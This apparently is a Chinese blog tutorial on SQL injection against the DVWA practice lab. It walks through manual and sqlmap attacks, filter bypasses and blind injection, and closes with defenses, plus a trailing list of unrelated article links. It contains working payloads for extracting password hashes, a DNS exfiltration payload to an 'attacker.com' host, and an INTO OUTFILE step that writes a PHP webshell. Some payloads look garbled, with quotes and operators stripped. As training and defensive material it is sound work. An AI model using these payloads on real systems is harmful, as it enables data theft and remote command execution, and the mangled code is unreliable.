1. DVWA靶场与SQL注入基础认知DVWADamn Vulnerable Web Application是一个专为安全测试设计的漏洞演练平台内置了SQL注入、XSS、文件上传等十余种常见漏洞环境。我第一次接触DVWA是在2015年参加CISP培训时当时就被它高度仿真的漏洞场景所吸引。这个用PHP/MySQL搭建的靶场最大的特点是允许用户自由调整安全等级Low/Medium/High/Impossible就像游戏难度选择一样非常适合循序渐进地学习渗透技术。SQL注入作为OWASP Top 10的常青树漏洞其本质是通过构造特殊输入欺骗后端数据库执行非预期的SQL命令。举个生活化的例子就像你去银行柜台取钱正常流程是说请取500元但黑客会说请把我账户余额全部转出顺便把其他客户的账户信息也打印一份。DVWA的SQL Injection模块完美模拟了这种场景特别是其用户登录功能存在典型的字符拼接漏洞。注意所有测试请务必在本地搭建的DVWA环境进行未经授权对他人的系统进行渗透测试属于违法行为。建议使用Kali Linux虚拟机配合XAMPP搭建测试环境。2. 环境准备与基础配置2.1 DVWA靶场部署要点推荐使用2023年更新的DVWA 1.10版本相比老版本修复了部分环境依赖问题。部署时常见问题包括配置文件修改// config/config.inc.php $_DVWA[db_password] pssw0rd; // 需与本地MySQL密码一致 $_DVWA[recaptcha_public_key] ; // 关闭验证码功能数据库初始化失败时的手动处理mysql -u root -p create database dvwa; grant all on dvwa.* to dvwalocalhost identified by pssw0rd; quit文件权限问题特别是Windows系统chmod -R 777 /var/www/html/dvwa/hackable/uploads/ chmod 777 /var/www/html/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt2.2 安全等级设置技巧在DVWA界面右下角可切换安全级别不同级别的防护机制差异很大Low完全没有防护直接拼接SQL语句Medium使用了mysql_real_escape_string()过滤High采用预处理语句但存在逻辑缺陷Impossible完全使用PDO预处理建议首次测试时从Low级别开始逐步提升难度。我曾遇到不少初学者直接挑战High级别结果连基础注入原理都没掌握。3. Low级别注入实战解析3.1 漏洞点定位与分析访问SQL Injection模块页面是一个简单的用户ID查询表单。查看源码可见关键漏洞代码$id $_GET[id]; $getid SELECT first_name, last_name FROM users WHERE user_id $id;这种直接将用户输入拼接到SQL语句的做法极其危险。我们输入1 or 11时实际执行的SQL变为SELECT first_name, last_name FROM users WHERE user_id 1 or 11这将返回users表中的所有记录因为11永远为真。3.2 手工注入完整流程判断注入类型输入1返回错误确认是字符型注入输入1 --正常返回说明可用注释符截断获取数据库信息1 union select 1,concat(database(),version()) --返回结果会显示当前数据库名(dvwa)和MySQL版本爆破表结构1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --可获取users,guestbook等表名提取敏感数据1 union select user,password from users --获取到的密码可用John the Ripper进行破解3.3 使用Sqlmap自动化测试虽然手工注入有助于理解原理但实际工作中更多使用自动化工具sqlmap -u http://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDxxx --batch关键参数说明--cookie保持已登录状态--batch自动选择默认选项--dbs枚举所有数据库-D dvwa --tables列举指定数据库的表实测中发现DVWA的Low级别注入点Sqlmap识别成功率接近100%但要注意请求频率过高可能触发PHP的防DoS机制。4. Medium级别突破技巧4.1 防护机制分析查看源码发现使用了mysql_real_escape_string()进行过滤$id mysql_real_escape_string($id);这个函数会转义特殊字符如单引号、双引号等但存在以下绕过可能数字型注入参数未强制类型转换时1 or 11仍可执行二次编码%2527会被解码为单引号宽字节注入当数据库使用GBK编码时%bf%27可绕过4.2 实战绕过方案由于Medium级别改用下拉菜单提交需要拦截修改请求使用Burp Suite抓包修改id参数为1 union select 1,concat(user,:,password) from users#需要将空格替换为或/**/1unionselect1,concat(user,:,password)fromusers#遇到过滤时可尝试大小写混淆1UnIoNsElEcT1,version()#4.3 特殊字符处理技巧在Medium级别中这些变形方式往往有效等号() → LIKE、REGEXP空格 → /**/、注释符# → --%20、;%00引号 → hex编码、char()函数我曾遇到一个案例通过concat(0x7e,version(),0x7e)成功绕过过滤其中0x7e是波浪号(~)的十六进制表示。5. High级别深度渗透5.1 限制条件分析High级别的特殊之处在于输入被限制在单独的弹窗页面使用了预处理语句但实现不完整添加了CSRF Token防护查看关键源码$stmt $db-prepare(SELECT first_name, last_name FROM users WHERE user_id ?); $stmt-bindParam(1, $id);5.2 非常规注入手法时间盲注1 AND IF(SUBSTRING(database(),1,1)d,sleep(3),0) --通过响应延迟判断条件真假报错注入1 AND (SELECT 1 FROM(SELECT COUNT(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --利用rand()函数触发报错信息泄露OOB外带数据1 UNION SELECT 1,load_file(concat(\\\\,(SELECT password FROM users LIMIT 1),.attacker.com\\share\\test.txt)) --需要配合DNS日志平台接收数据5.3 完整渗透案例假设目标数据库是MySQL 5.7获取系统shell的完整流程确认写文件权限1 AND (select count(*) from mysql.user)0 --写入webshell1 UNION SELECT ?php system($_GET[cmd]); ?,2 INTO OUTFILE /var/www/html/dvwa/hackable/uploads/shell.php --执行系统命令http://localhost/dvwa/hackable/uploads/shell.php?cmdid这个过程中最大的坑是目录权限问题DVWA默认upload目录不可执行PHP需要提前修改配置。6. 防御方案与最佳实践6.1 安全编码建议从Impossible级别的源码可以看出有效防护措施预处理语句$data $db-prepare(SELECT first_name, last_name FROM users WHERE user_id :id); $data-bindParam(:id, $id, PDO::PARAM_INT);输入验证if(!is_numeric($id)) { header(Location: /dvwa/vulnerabilities/sqli/); exit; }最小权限原则CREATE USER dvwalocalhost IDENTIFIED BY pssw0rd; GRANT SELECT ON dvwa.users TO dvwalocalhost;6.2 WAF规则示例对于Nginx ModSecurity环境可添加如下规则SecRule ARGS:id detectSQLi \ id:1001,\ phase:2,\ deny,\ msg:SQL Injection Attack Detected,\ logdata:Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}6.3 自动化检测方案推荐使用以下工具链构建持续检测流程静态扫描SonarQube FindSecBugs动态测试OWASP ZAP Sqlmap APIIAST工具Contrast Community Edition在最近参与的一个金融项目中我们通过Jenkins流水线集成这些工具成功在开发阶段拦截了83%的SQL注入风险。7. 靶场训练进阶建议7.1 其他优质靶场推荐WebGoatOWASP官方靶场包含系统化课程SQLi-Labs专注SQL注入的专项训练平台Pikachu中文靶场适合新手入门HackTheBox真实场景挑战适合进阶者7.2 实战技巧提升盲注优化使用二分查找法提高效率import requests url http://localhost/dvwa/vulnerabilities/sqli_blind/ for i in range(1,20): payload f1 AND ASCII(SUBSTRING(database(),{i},1))128 -- if exists in requests.get(url, params{id:payload}).text: # 继续二分查找 pass工具链配置将Sqlmap与Burp Suite联动sqlmap --proxyhttp://127.0.0.1:8080 -u http://example.com流量分析使用Wireshark研究注入时的TCP报文特征记得我刚开始学习时花了整整两周时间才完全理解时间盲注的原理。后来发现用Python脚本自动化测试过程后效率提升了十倍不止。建议每个注入类型都亲手实现一个自动化检测脚本这对理解底层机制大有裨益。
企业数字化 ERP 产品动态
相关推荐
AI工程实践:从训练模型到稳定上线的完整闭环 聊到AI工程,很多人脑子里闪过的第一个画面,是训练出一个模型,跑通一版demo,然后觉得事情已经成了。但真正把模型变成一条稳定运转的线上服务,中间隔着的东西远比大多数人想象得多。我自己带过不少新人,也看… · 2026/11/8 0:29:25
MATLAB微电网调度实战:LP/MILP建模、SOC约束与滚动优化 简介:“智能微电网调度算法.zip”面向电力系统、分布式能源与优化调度方向的学习者和研究人员,围绕含光伏、风机、微型燃气轮机、储能与负荷的微电网模型,提供从数学建模到MATLAB仿真的算法实现参考。包内共20个文件,以18个.m脚本… · 2026/11/5 1:21:21
浏览器无插件视频预览:WASM软解与WebSocket收流 简介:海康威视 WEB 无插件开发包 V3.2 面向需要在高版本 Chrome、Firefox 中接入海康设备视频能力的 Web 开发者与集成人员,重点解决旧版插件依赖带来的浏览器兼容与部署受限问题。包内提供可运行的 Web 端 Demo、前端脚本与页面模板、nginx 代理配置及启… · 2026/11/5 4:08:31
考电工证后多久拿证啊怎么报名 电工证拿到手最快要多久 考电工证后多久拿证啊怎么报名 电工证拿到手最快要多久 急需特种作业证才能上岗找工作,现在连面试都卡在没有电工证这一步了,你是不是也正愁怎么报名?别急,今天咱们就聊聊考电工证后多久拿证啊,怎么报名,还有你最关心的流程和时间安排。… · 2026/11/8 0:28:33
工地太忙根本没时间复习考试?罗城电工证考试在哪考全攻略 工地太忙根本没时间复习考试?罗城电工证考试在哪考全攻略 工地太忙根本没时间复习考试?罗城电工证考试在哪考?这是很多一线电工最真实的心声。尤其是在工期紧张、任务繁重的情况下,很多人一边在钢筋混凝土间穿梭,一边还要抽出时间准备考试,简直是“身心… · 2026/11/8 0:28:33
萧县电工证在哪考的啊保姆级教程:证书过期了不知道怎么复审延期 萧县电工证在哪考的啊保姆级教程:证书过期了不知道怎么复审延期 证书过期了不知道怎么复审延期?你不是一个人。特别是在萧县,电工证作为特种作业操作证之一,是很多建筑、安装、维修等相关从业者必须持有的“入场券”。一旦过期,不仅可能面临项目停工、工… · 2026/11/8 0:28:33
广西电工证查询入口怎么用?电子证书是关键,别耽误你找工作 广西电工证查询入口怎么用?电子证书是关键,别耽误你找工作 你是不是正被“急需特种作业证才能上岗找工作”这句话压得喘不过气?别慌,先搞清楚【广西电工证查询入口】怎么用,再搞懂【电子证书】到底是啥,就能少走很多弯路。现在,连平顶山的应届工程类毕… · 2026/11/8 0:28:33
山西办低压电工证官方回应:学历不高也能报名,关键看这3步 山西办低压电工证官方回应:学历不高也能报名,关键看这3步 你是不是也这样想: 学历不高怕报不上名 ?其实,山西办低压电工证,对学历的要求并没有想象中那么高,关键是你怎么操作。官方回应也明确指出,只要符合基本条件,不管你是初中、高中还是大专学… · 2026/11/8 0:28:33
哈尔滨快速考电工证通过率揭秘:证书过期了不知道怎么复审延期? 哈尔滨快速考电工证通过率揭秘:证书过期了不知道怎么复审延期? 证书过期了不知道怎么复审延期?你不是一个人。我之前也遇到过,电工证到期前没注意到,结果一查发现已经不能正常使用了。现在哈尔滨快速考电工证的人越来越多,但很多人在报名、备考、复审这… · 2026/11/8 0:27:33
电工证丢失还能补吗?千万别踩坑,丢了证等于失业 电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。… · 2026/11/8 0:00:20
电力电缆作业证直播报名入口与办理流程良心建议 电力电缆作业证直播报名入口与办理流程良心建议 你是不是也担心学历不高报不了名?别急,今天就给你讲讲 电力电缆作业证直播 的报名流程和那些你必须知道的干货, 良心建议 在这里,别错过。 电力电缆作业证直播报名需要什么条件?… · 2026/11/8 0:00:20
英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 怕考不过白交培训费?英德电工证报考费多少钱,你真的了解吗?现在市面上培训机构五花八门,价格参差不齐,很多人一不小心就花了冤枉钱,结果还考不过。别急,今天就来给你说清楚英德电工证的… · 2026/11/8 0:00:20
电工证丢失还能补吗?千万别踩坑,丢了证等于失业 电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。… · 2026/11/8 0:00:20
电力电缆作业证直播报名入口与办理流程良心建议 电力电缆作业证直播报名入口与办理流程良心建议 你是不是也担心学历不高报不了名?别急,今天就给你讲讲 电力电缆作业证直播 的报名流程和那些你必须知道的干货, 良心建议 在这里,别错过。 电力电缆作业证直播报名需要什么条件?… · 2026/11/8 0:00:20
英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 怕考不过白交培训费?英德电工证报考费多少钱,你真的了解吗?现在市面上培训机构五花八门,价格参差不齐,很多人一不小心就花了冤枉钱,结果还考不过。别急,今天就来给你说清楚英德电工证的… · 2026/11/8 0:00:20
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 11:25:08
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 12:02:18
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 10:29:23